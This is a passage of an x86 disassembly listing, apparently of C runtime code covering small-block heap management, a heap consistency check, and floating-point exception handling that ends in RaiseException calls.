al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_418B0D or [eax+4], edi loc_418B0D: ; CODE XREF: sub_418A27+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_418B1D: ; CODE XREF: sub_418A27+5Ej pop edi pop esi pop ebx leave retn sub_418A27 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418B22 proc near ; CODE XREF: sub_416ED2+58p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_418CD0 test bl, 1 jnz loc_418CC9 add ebx, ecx cmp esi, ebx jg loc_418CC9 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_418B99 push 3Fh pop ecx mov [ebp+var_8], ecx loc_418B99: ; CODE XREF: sub_418B22+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_418BE9 cmp ecx, 20h jnb short loc_418BC5 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_418BE9 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_418BE9 ; --------------------------------------------------------------------------- loc_418BC5: ; CODE XREF: sub_418B22+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_418BE9 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_418BE9: ; CODE XREF: sub_418B22+7Dj ; sub_418B22+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_418CB7 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_418C23 push 3Fh pop edi loc_418C23: ; CODE XREF: sub_418B22+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_418CA5 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_418C7C cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_418C6F mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_418C6F: ; CODE XREF: sub_418B22+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_418CA1 ; --------------------------------------------------------------------------- loc_418C7C: ; CODE XREF: sub_418B22+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_418C92 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_418C92: ; CODE XREF: sub_418B22+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_418CA1: ; CODE XREF: sub_418B22+158j shr edx, cl or [eax], edx loc_418CA5: ; CODE XREF: sub_418B22+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_418CBA ; --------------------------------------------------------------------------- loc_418CB7: ; CODE XREF: sub_418B22+E5j mov edx, [ebp+arg_4] loc_418CBA: ; CODE XREF: sub_418B22+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_418E10 ; --------------------------------------------------------------------------- loc_418CC9: ; CODE XREF: sub_418B22+52j ; sub_418B22+5Cj xor eax, eax jmp loc_418E13 ; --------------------------------------------------------------------------- loc_418CD0: ; CODE XREF: sub_418B22+49j jge loc_418E10 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_418CFB push 3Fh pop esi loc_418CFB: ; CODE XREF: sub_418B22+1D4j test byte ptr [ebp+var_4], 1 jnz loc_418D8A mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_418D14 push 3Fh pop esi loc_418D14: ; CODE XREF: sub_418B22+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_418D63 cmp esi, 20h jnb short loc_418D3F mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_418D60 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_418D60 ; --------------------------------------------------------------------------- loc_418D3F: ; CODE XREF: sub_418B22+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_418D60 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_418D60: ; CODE XREF: sub_418B22+214j ; sub_418B22+21Bj ... mov ebx, [ebp+arg_4] loc_418D63: ; CODE XREF: sub_418B22+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_418D8A push 3Fh pop esi loc_418D8A: ; CODE XREF: sub_418B22+1DDj ; sub_418B22+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_418E07 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_418DDE cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_418DD1 mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_418DD1: ; CODE XREF: sub_418B22+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_418E03 ; --------------------------------------------------------------------------- loc_418DDE: ; CODE XREF: sub_418B22+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_418DF4 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_418DF4: ; CODE XREF: sub_418B22+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_418E03: ; CODE XREF: sub_418B22+2BAj shr edx, cl or [eax], edx loc_418E07: ; CODE XREF: sub_418B22+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_418E10: ; CODE XREF: sub_418B22+1A2j ; sub_418B22:loc_418CD0j push 1 pop eax loc_418E13: ; CODE XREF: sub_418B22+1A9j pop edi pop esi pop ebx leave retn sub_418B22 endp ; --------------------------------------------------------------------------- mov eax, dword_494260 test eax, eax jz locret_418EE8 mov ecx, dword_494258 push 4000h shl ecx, 0Fh add ecx, [eax+0Ch] push 8000h push ecx call ds:dword_495458 ; VirtualFree mov ecx, dword_494258 mov eax, dword_494260 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_494260 mov ecx, dword_494258 mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_494260 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_494260 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_418E8F and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_494260 loc_418E8F: ; CODE XREF: .text:00418E84j cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_418EE1 cmp dword_494264, 1 jle short loc_418EE1 push dword ptr [eax+10h] push 0 push dword_49426C call ds:dword_49542C ; RtlFreeHeap mov eax, dword_494264 mov edx, dword_494268 lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_494260 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_416430 add esp, 0Ch dec dword_494264 loc_418EE1: ; CODE XREF: .text:00418E93j ; .text:00418E9Cj and dword_494260, 0 locret_418EE8: ; CODE XREF: .text:00418E1Fj retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 13Ch mov eax, dword_494264 push ebx push esi push edi lea eax, [eax+eax*4] shl eax, 2 push eax push dword_494268 call ds:dword_495460 ; IsBadWritePtr test eax, eax jz short loc_418F19 or eax, 0FFFFFFFFh jmp loc_4191D6 ; --------------------------------------------------------------------------- loc_418F19: ; CODE XREF: .text:00418F0Fj mov ebx, dword_494268 xor edi, edi cmp dword_494264, edi mov [ebp-38h], ebx mov [ebp-20h], edi jle loc_4191D4 jmp short loc_418F37 ; --------------------------------------------------------------------------- loc_418F35: ; CODE XREF: .text:004191CEj xor edi, edi loc_418F37: ; CODE XREF: .text:00418F33j mov esi, [ebx+10h] push 41C4h push esi call ds:dword_495460 ; IsBadWritePtr test eax, eax jnz loc_4191DB mov eax, [ebx+0Ch] mov [ebp-2Ch], edi mov [ebp-0Ch], eax lea eax, [esi+144h] mov [ebp-28h], eax mov eax, [ebx+8] add esi, 0C4h mov [ebp-14h], eax mov [ebp-18h], edi mov [ebp-30h], edi mov [ebp-3Ch], esi jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F77: ; CODE XREF: .text:004191A7j xor edi, edi loc_418F79: ; CODE XREF: .text:00418F75j push 40h mov [ebp-24h], edi mov [ebp-1Ch], edi mov [ebp-4], edi xor eax, eax pop ecx cmp [ebp-14h], eax lea edi, [ebp-13Ch] rep stosd jl loc_419172 push 8000h push dword ptr [ebp-0Ch] call ds:dword_495460 ; IsBadWritePtr test eax, eax jnz loc_4191DF mov eax, [ebp-0Ch] xor ebx, ebx lea edx, [eax+0FFCh] loc_418FB9: ; CODE XREF: .text:0041904Dj cmp dword ptr [edx-0FF4h], 0FFFFFFFFh lea esi, [edx-0FF0h] jnz loc_4191EF cmp dword ptr [edx], 0FFFFFFFFh jnz loc_4191EF loc_418FD5: ; CODE XREF: .text:0041903Bj mov ecx, [esi] test cl, 1 mov edi, ecx jz short loc_418FF0 dec ecx cmp ecx, 400h jg loc_4191E3 inc dword ptr [ebp-4] jmp short loc_41900C ; --------------------------------------------------------------------------- loc_418FF0: ; CODE XREF: .text:00418FDCj mov eax, ecx sar eax, 4 dec eax cmp eax, 3Fh jle short loc_418FFE push 3Fh pop eax loc_418FFE: ; CODE XREF: .text:00418FF9j inc dword ptr [ebp+eax*4-13Ch] lea eax, [ebp+eax*4-13Ch] loc_41900C: ; CODE XREF: .text:00418FEEj cmp ecx, 10h jl loc_4191EB test cl, 0Fh jnz loc_4191EB cmp ecx, 0FF0h jg loc_4191EB cmp [ecx+esi-4], edi lea eax, [ecx+esi] jnz loc_4191E7 mov esi, eax cmp esi, edx jb short loc_418FD5 jnz loc_4191E7 add edx, 1000h inc ebx cmp ebx, 8 jl loc_418FB9 mov esi, [ebp-28h] mov eax, [ebp-4] cmp [esi], eax jnz loc_4191F3 and dword ptr [ebp-8], 0 lea eax, [ebp-13Ch] mov [ebp-4], eax loc_41906E: ; CODE XREF: .text:00419166j mov eax, [esi+4] and dword ptr [ebp-10h], 0 lea edi, [esi+8] mov edx, esi cmp eax, esi mov [ebp-34h], edx jz loc_41913A loc_419085: ; CODE XREF: .text:00419107j mov ebx, [ebp-4] mov ecx, [ebp-10h] cmp ecx, [ebx] jz short loc_41910D mov ecx, [ebp-0Ch] cmp eax, ecx jb loc_419203 add ecx, 8000h cmp eax, ecx jnb loc_419203 mov ecx, eax and cx, 0F000h add ecx, 0Ch lea edx, [ecx+0FF0h] cmp ecx, edx jz loc_4191F7 loc_4190C0: ; CODE XREF: .text:004190CDj cmp ecx, eax jz short loc_4190CF mov ebx, [ecx] and ebx, 0FFFFFFFEh add ecx, ebx cmp ecx, edx jnz short loc_4190C0 loc_4190CF: ; CODE XREF: .text:004190C2j cmp ecx, edx jz loc_4191F7 mov ecx, [eax] sar ecx, 4 dec ecx cmp ecx, 3Fh jle short loc_4190E5 push 3Fh pop ecx loc_4190E5: ; CODE XREF: .text:004190E0j cmp ecx, [ebp-8] jnz loc_4191FB mov ecx, [ebp-34h] cmp [eax+8], ecx jnz loc_4191FF inc dword ptr [ebp-10h] mov edx, eax mov eax, [eax+4] mov [ebp-34h], edx cmp eax, esi jnz loc_419085 loc_41910D: ; CODE XREF: .text:0041908Dj cmp dword ptr [ebp-10h], 0 jz short loc_41913A mov ecx, [ebp-8] cmp ecx, 20h jge short loc_41912A mov eax, 80000000h shr eax, cl or [ebp-24h], eax or [ebp-2Ch], eax jmp short loc_41913A ; --------------------------------------------------------------------------- loc_41912A: ; CODE XREF: .text:00419119j add ecx, 0FFFFFFE0h mov eax, 80000000h shr eax, cl or [ebp-1Ch], eax or [ebp-18h], eax loc_41913A: ; CODE XREF: .text:0041907Fj ; .text:00419111j ... cmp [edx+4], esi jnz loc_41920B mov ecx, [ebp-4] mov eax, [ebp-10h] cmp eax, [ecx] jnz loc_41920B cmp [edi], edx jnz loc_419207 inc dword ptr [ebp-8] add dword ptr [ebp-4], 4 cmp dword ptr [ebp-8], 40h mov esi, edi jl loc_41906E mov esi, [ebp-3Ch] mov ebx, [ebp-38h] loc_419172: ; CODE XREF: .text:00418F92j mov eax, [ebp-24h] cmp eax, [esi-80h] jnz loc_41920F mov eax, [ebp-1Ch] cmp eax, [esi] jnz loc_41920F add dword ptr [ebp-0Ch], 8000h add dword ptr [ebp-28h], 204h shl dword ptr [ebp-14h], 1 inc dword ptr [ebp-30h] add esi, 4 cmp dword ptr [ebp-30h], 20h mov [ebp-3Ch], esi jl loc_418F77 mov eax, [ebp-2Ch] cmp eax, [ebx] jnz short loc_419213 mov eax, [ebp-18h] cmp eax, [ebx+4] jnz short loc_419213 add ebx, 14h inc dword ptr [ebp-20h] mov eax, [ebp-20h] mov [ebp-38h], ebx cmp eax, dword_494264 jl loc_418F35 loc_4191D4: ; CODE XREF: .text:00418F2Dj xor eax, eax loc_4191D6: ; CODE XREF: .text:00418F14j ; .text:00419216j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4191DB: ; CODE XREF: .text:00418F48j push 0FFFFFFFEh jmp short loc_419215 ; --------------------------------------------------------------------------- loc_4191DF: ; CODE XREF: .text:00418FA8j push 0FFFFFFFCh jmp short loc_419215 ; --------------------------------------------------------------------------- loc_4191E3: ; CODE XREF: .text:00418FE5j push 0FFFFFFFAh jmp short loc_419215 ; --------------------------------------------------------------------------- loc_4191E7: ; CODE XREF: .text:00419031j ; .text:0041903Dj push 0FFFFFFF8h jmp short loc_419215 ; --------------------------------------------------------------------------- loc_4191EB: ; CODE XREF: .text:0041900Fj ; .text:00419018j ... push 0FFFFFFF9h jmp short loc_419215 ; --------------------------------------------------------------------------- loc_4191EF: ; CODE XREF: .text:00418FC6j ; .text:00418FCFj push 0FFFFFFFBh jmp short loc_419215 ; --------------------------------------------------------------------------- loc_4191F3: ; CODE XREF: .text:0041905Bj push 0FFFFFFF7h jmp short loc_419215 ; --------------------------------------------------------------------------- loc_4191F7: ; CODE XREF: .text:004190BAj ; .text:004190D1j push 0FFFFFFF5h jmp short loc_419215 ; --------------------------------------------------------------------------- loc_4191FB: ; CODE XREF: .text:004190E8j push 0FFFFFFF4h jmp short loc_419215 ; --------------------------------------------------------------------------- loc_4191FF: ; CODE XREF: .text:004190F4j push 0FFFFFFF3h jmp short loc_419215 ; --------------------------------------------------------------------------- loc_419203: ; CODE XREF: .text:00419094j ; .text:004190A2j push 0FFFFFFF6h jmp short loc_419215 ; --------------------------------------------------------------------------- loc_419207: ; CODE XREF: .text:00419153j push 0FFFFFFF1h jmp short loc_419215 ; --------------------------------------------------------------------------- loc_41920B: ; CODE XREF: .text:0041913Dj ; .text:0041914Bj push 0FFFFFFF2h jmp short loc_419215 ; --------------------------------------------------------------------------- loc_41920F: ; CODE XREF: .text:00419178j ; .text:00419183j push 0FFFFFFF0h jmp short loc_419215 ; --------------------------------------------------------------------------- loc_419213: ; CODE XREF: .text:004191B2j ; .text:004191BAj push 0FFFFFFEFh loc_419215: ; CODE XREF: .text:004191DDj ; .text:004191E1j ... pop eax jmp short loc_4191D6 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_419218(int,int,double,int) sub_419218 proc near ; CODE XREF: sub_415D9B+51p ; sub_415EF3+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_4361C8, 0 jnz short loc_41924D push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_4198D1 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_41924D: ; CODE XREF: sub_419218+Aj push 0FFFFh mov dword_4927F4, 21h push [ebp+arg_C] call sub_419BA8 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_419218 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx fld qword ptr [ebp+0Ch] fadd qword ptr [ebp+14h] cmp dword_4361C8, 0 fstp qword ptr [ebp-8] jnz short loc_4192AC push dword ptr [ebp+1Ch] fld qword ptr [ebp-8] push ecx push ecx fstp qword ptr [esp] fld qword ptr [ebp+14h] push ecx push ecx fstp qword ptr [esp] fld qword ptr [ebp+0Ch] push ecx push ecx fstp qword ptr [esp] push dword ptr [ebp+8] push 1 call sub_4198D1 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_4192AC: ; CODE XREF: .text:00419280j push 0FFFFh mov dword_4927F4, 21h push dword ptr [ebp+1Ch] call sub_419BA8 fld qword ptr [ebp-8] pop ecx pop ecx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4192CA(int,int,double,double,int) sub_4192CA proc near ; CODE XREF: sub_415D9B:loc_415E5Ep ; sub_415EF3:loc_415FB6p var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_4196BA add esp, 0Ch test eax, eax jnz short loc_419308 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_419407 add esp, 18h loc_419308: ; CODE XREF: sub_4192CA+1Aj push [ebp+arg_0] call sub_4199A4 cmp dword_4361C8, 0 pop ecx jnz short loc_419346 test eax, eax jz short loc_419346 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_4198D1 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_419346: ; CODE XREF: sub_4192CA+4Ej ; sub_4192CA+52j push eax call sub_419959 mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_419BA8 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_4192CA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 58h push dword ptr [ebp+28h] lea eax, [ebp+20h] push eax push dword ptr [ebp+8] call sub_4196BA add esp, 0Ch test eax, eax jnz short loc_4193AC mov eax, [ebp-20h] and al, 0E3h or al, 3 mov [ebp-20h], eax lea eax, [ebp+20h] push eax lea eax, [ebp+10h] push eax lea eax, [ebp+28h] push dword ptr [ebp+0Ch] fld qword ptr [ebp+18h] push dword ptr [ebp+8] fstp qword ptr [ebp-30h] push eax lea eax, [ebp-58h] push eax call sub_419407 add esp, 18h loc_4193AC: ; CODE XREF: .text:0041937Cj push dword ptr [ebp+8] call sub_4199A4 cmp dword_4361C8, 0 pop ecx jnz short loc_4193EB test eax, eax jz short loc_4193EB push dword ptr [ebp+28h] fld qword ptr [ebp+20h] push ecx push ecx fstp qword ptr [esp] fld qword ptr [ebp+18h] push ecx push ecx fstp qword ptr [esp] fld qword ptr [ebp+10h] push ecx push ecx fstp qword ptr [esp] push dword ptr [ebp+0Ch] push eax call sub_4198D1 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_4193EB: ; CODE XREF: .text:004193BCj ; .text:004193C0j push eax call sub_419959 mov dword ptr [esp], 0FFFFh push dword ptr [ebp+28h] call sub_419BA8 fld qword ptr [ebp+20h] pop ecx pop ecx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419407 proc near ; CODE XREF: sub_4192CA+36p ; .text:004193A4p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_419439 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_419439: ; CODE XREF: sub_419407+23j test cl, 2 jz short loc_41944C mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_41944C: ; CODE XREF: sub_419407+35j test cl, bl jz short loc_41945E mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_41945E: ; CODE XREF: sub_419407+47j test cl, 4 jz short loc_419471 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_419471: ; CODE XREF: sub_419407+5Aj test cl, 8 jz short loc_419484 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_419484: ; CODE XREF: sub_419407+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_419B8B test al, bl jz short loc_41950D mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_41950D: ; CODE XREF: sub_419407+FDj test al, 4 jz short loc_419518 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_419518: ; CODE XREF: sub_419407+108j test al, 8 jz short loc_419523 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_419523: ; CODE XREF: sub_419407+113j test al, 10h jz short loc_41952D mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_41952D: ; CODE XREF: sub_419407+11Ej test al, 20h jz short loc_419537 mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_419537: ; CODE XREF: sub_419407+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_419576 cmp eax, 400h jz short loc_419568 cmp eax, 800h jz short loc_41955C cmp eax, ecx jnz short loc_41957C mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_41957C ; --------------------------------------------------------------------------- loc_41955C: ; CODE XREF: sub_419407+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_419572 ; --------------------------------------------------------------------------- loc_419568: ; CODE XREF: sub_419407+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_419572: ; CODE XREF: sub_419407+15Fj mov [eax], ecx jmp short loc_41957C ; --------------------------------------------------------------------------- loc_419576: ; CODE XREF: sub_419407+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_41957C: ; CODE XREF: sub_419407+14Bj ; sub_419407+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_4195A7 cmp eax, 200h jz short loc_41959A cmp eax, ecx jnz short loc_4195B4 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_4195B4 ; --------------------------------------------------------------------------- loc_41959A: ; CODE XREF: sub_419407+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_4195B2 ; --------------------------------------------------------------------------- loc_4195A7: ; CODE XREF: sub_419407+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_4195B2: ; CODE XREF: sub_419407+19Ej mov [eax], ecx loc_4195B4: ; CODE XREF: sub_419407+189j ; sub_419407+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_419B99 lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] call ds:dword_49544C ; RaiseException mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_41962E and dword ptr [esi], 0FFFFFFFEh loc_41962E: ; CODE XREF: sub_419407+222j test byte ptr [eax+8], 8 jz short loc_419637 and dword ptr [esi], 0FFFFFFFBh loc_419637: ; CODE XREF: sub_419407+22Bj test byte ptr [eax+8], 4 jz short loc_419640 and dword ptr [esi], 0FFFFFFF7h loc_419640: ; CODE XREF: sub_419407+234j test byte ptr [eax+8], 2 jz short loc_419649 and dword ptr [esi], 0FFFFFFEFh loc_419649: ; CODE XREF: sub_419407+23Dj test [eax+8], bl jz short loc_419651 and dword ptr [esi], 0FFFFFFDFh loc_419651: ; CODE XREF: sub_419407+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_419685 dec ecx jz short loc_419679 dec ecx jz short loc_41966F dec ecx jnz short loc_419687 or byte ptr [esi+1], 0Ch jmp short loc_419687 ; --------------------------------------------------------------------------- loc_41966F: ; CODE XREF: sub_419407+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_419681 ; --------------------------------------------------------------------------- loc_419679: ; CODE XREF: sub_419407+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_419681: ; CODE XREF: sub_419407+270j mov [esi], ecx jmp short loc_419687 ; --------------------------------------------------------------------------- loc_419685: ; CODE XREF: sub_419407+257j and [esi], edx loc_419687: ; CODE XREF: sub_419407+260j ; sub_419407+266j ... mov ecx, [eax] shr ecx, 2 